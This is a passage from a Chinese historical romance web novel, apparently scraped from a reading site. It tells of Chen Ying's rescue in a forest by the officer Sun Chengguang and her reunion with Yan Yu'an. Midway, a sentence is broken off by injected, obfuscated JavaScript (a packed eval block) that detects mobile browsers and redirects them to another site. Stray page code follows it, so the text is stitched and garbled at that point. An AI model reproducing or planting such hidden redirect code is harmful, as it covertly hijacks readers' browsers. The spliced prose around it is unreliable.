说话声骤然被打断,雷成瞬间皱眉抿唇,意识到自己又说多了。 他这些年经历过太多国仇家恨,见过太多生死离别,也以为自己这颗心早已变得冷硬无情。直到今日在河边,原是打算守株待兔捉拿逃兵,却是阴差阳错下救了溺水的妹妹。 谁人能明白,那一刻他内心有多么震撼? 可他不能跟陈英相认,因为时机不对。只有等到战争彻底结束,等到他能活着走出战场,到那时他一定会去京城找她,将她光明正大地从言昱安身边带走。 他视若珍宝的妹妹,不该给人为奴为婢。 74. 第 74 章 长夜漫漫,密林无声。 白日里,先是经历过一场地动后又经历落水,这时候的陈英早已精疲力尽。 火堆在夜风中,噼啪作响。陈英眼皮渐渐沉重,她实在没有力气和眼前这个男人周旋试探。至少此刻她能感觉出,这个男人看她的眼神并不邪佞,也无肮脏龌龊的心思。 尽管他方才言语轻佻,但她还是分辨得出,多半是戏弄她罢了。倘或他真是什么大奸大恶之徒,她此刻怕是不会毫发无伤吧。 想透这些她反倒神思一松,整个人困倦袭来,躺在火堆旁睡着了。 等她再次睁眼时,天色已经大亮。 淡淡晨雾弥漫在林间,她正准备坐起身,就听到地底下传来一阵马蹄声。 她惊慌地从地上爬起,四处望去都寻不到雷成的身影。心中不由大骇,都怪自己睡得太死了,居然没有觉察到那人什么时候离开的。 这时候,懊悔已经没有任何意义。陈英一咬牙,钻进一旁灌木丛中。 可还是慢了一步,当下一个粗犷的男声,朝她大喝道,“是谁在那里,还不快出来!” 喊声一出,几个士兵装扮的人策马赶了过来,将陈英团团围住。他们手中的长矛和弓箭,齐刷刷地指向陈英,似乎只要她敢不从,就会让她血溅当场。 灌木丛中,陈英缓缓抬起了头。 马背上的士兵目光如电,齐齐朝她射去,待看清那张脸后,个个眼睛一亮,面上乍现一丝窃喜。 这种荒郊野岭的地方,居然出现一个女人?还是生得如此绝色,让人不得不怀疑,这晨雾弥漫中,他们是不是碰见山鬼了? 几人正在犹豫,不远处又传来一阵马蹄声。 “你们几个,在那儿干什么?”一道清越的声音传来,散漫的语气中暗含几分威严。 这个声音竟有些耳熟,陈英不由仰头望去,忽然眼前一亮。 “孙承光,孙副尉。”陈英又惊又喜,挥动手臂冲人大喊。 闻声,孙承光背脊一僵,驱马上前几步。忽然他眉头一皱,甩了缰绳跳下马,将陈英从灌木丛中拉了出来。 他先是认真地上下打量她,见她身上没有受伤,这才松了口气又急忙问她,“你怎么会一个人在这里?言大人呢?” 话一出口,他似是想起什么,语气转而缓和地问道,“昨日发生地动,你们可是走散了?” 事情太过曲折,一时不知该从何说起。陈英缓缓点头,然后冲他缓缓一笑,“幸好是遇到你。” 孙承光挑了挑眉,故意咬重语气说,“幸好是被我遇见。” 陈英跟他对了下眼神,彼此都心照不宣。要不是遇到他,恐怕后果不堪设想。这般想着,她脸上笑容也逐渐淡去,然后默默垂下头。 几个士兵见陈英和他们上峰相识,个个心神一凛,收起兵刃在一旁恭默静守。 简单交谈过后,孙承光将陈英扶上马背,正待与她共乘一骑时。恰巧一旁有个士兵牵马过来,孙承光眸底闪过一瞬犹豫,然后夺了那匹马纵身跃上,带领众人一齐朝树林外行去。 在陈英指引下,他们沿着河岸一路向北行去。 晨雾退散,阳光灿烂。 前方一阵浊黄烟尘中,陡然出现一队人马。很快,一个白色身影从队列中跃出,直直朝陈英这边奔来。 天空湛蓝如洗,微风拂面。陈英捋了下凌乱的额发,掀眸遥遥望去,不由嘴角一弯,“骑术可真差啊。” 声音柔软,像是裹了层蜜糖,满是甜蜜欢喜,还有心疼和感动。 两队人马终于汇合,那一袭白裳染上污浊尘土,那一向洁净无暇,俊美无匹的面容,此刻也覆上了汗水和尘土。 飘然若仙的郎君,这时仿若蒙尘的明珠。陈英倏地跃下马背,朝他冲了过去。 言昱安策马来到陈英面前,马蹄踏起漫漫烟尘,呛得陈英直掩口鼻,他赶忙勒紧缰绳。 骏马被勒停,言昱安却并未下马,而是低头看向陈英,他温柔一笑,朝她伸出了手。 陈英握住他的手,借力跃上了马背。 熟悉的怀抱中,陈英忽然鼻尖一酸,眼底泛起水雾。这一刻,她终于卸下心里强撑的坚强。一种莫名的委屈袭来,她抬手正要擦眼泪,忽然感觉手腕一紧。 言昱安握住她纤细腕骨,眸光温柔地凝着她。忽然他唇角微扬,语气悠然地说,“哭得可真丑啊。” 边说着,他抬起一片衣袖,轻柔地擦去她脸上脏污。 他动作很慢,神情专注又温柔,像是在擦拭这世间最珍贵的宝物。 因剧烈策马,他此刻脸色潮红,鬓角有汗珠滑落,呼吸粗沉。细看之下,他唇瓣发干泛白,还有眼底一抹青灰,显出几分不同于常人的病弱与疲态。 陈英心底越发酸涩,红着眼嗔怪他,“你怎么亲自过来了?” 言昱安抬手抚了抚她凌乱的乌发,他唇角带着笑意,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289403|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似呢喃,“若不亲自找到你,我如何能安心。” 说完后,他将陈英往怀中一揽,掀眸看向前方,“孙副尉,多谢了,此恩言某会铭记于心。” 孙承光跳下马,朝他抱拳一礼,“不过是举手之劳,言大人无须客气。” 身为武将,夙愿便是戎马关山,驰骋疆场。当初正是言昱安的举荐,他才有幸留在韩将军麾下效力。这点小事,跟言昱安的提携之恩比起来,根本不足挂齿。 他方抬起头,目光不由落到坐在言昱安怀中的女子身上。 视线触及二人亲密相拥的身影,孙承光眼眸一黯。 他很快收回视线,垂下眼眸说,“昨日地动,营中有人趁乱私逃到这渡河一带,距离官道不远,就由在下护送二位回去吧。” 言昱安只淡淡一笑,瞟了眼身后护卫们,那数十人立即会意,齐齐往前驱马静默守护。 相较之下,孙承光身后区区几个兵卒,倒显得微末了。 孙承光脸上一阵尴尬,而这时,言昱安语气温和地开口了,“孙副尉尚有军务在身,我们就不耽误了。等到大军班师回朝之时,言某定扫榻相迎,温酒以待。” 坐在马背上的陈英也慢慢躬身,朝孙承光福了福,“战场上刀剑无眼,孙副尉请一定要小心。” 孙承光不再犹豫,翻身上马抱拳回礼,“那便就此别过,二位京城再会。” 说完最后一句,他深深凝视了陈英一眼,那一眼的执着与真挚,似乎是要将她牢牢记住,又似乎是想看过这一眼后,将她彻彻底底地忘掉。 待陈英抬头时,只听到他高喝一声“走!” 几匹骏马立即掉头奔出,扬起漫漫烟尘。 就在众人等待烟尘消散时,忽然看到孙承光他们勒停了马,而一旁树林间窜出一个人来。 即便是隔着上百步距离,陈英还是一眼认出那人。 那一身黑衣的男子,正是她昨日的救命恩人。 言昱安顺着她视线望去,一手揽着她的纤腰,淡声问,“阿英认识那人?” 陈英这才醒过神,抓着言昱安的衣袖急声道,“是那个人,是他将我从水中救上来的。” 言昱安眼底闪过一瞬犹疑,陈英揪着他衣袖,面色焦急说,“那个人,可能是孙副尉要捉拿的逃兵。” 将她脸上惊惶尽收眼底,言昱安瞬间便懂了她的意思。几乎是她话音一落,言昱安便揽紧她的腰,策马直奔过去。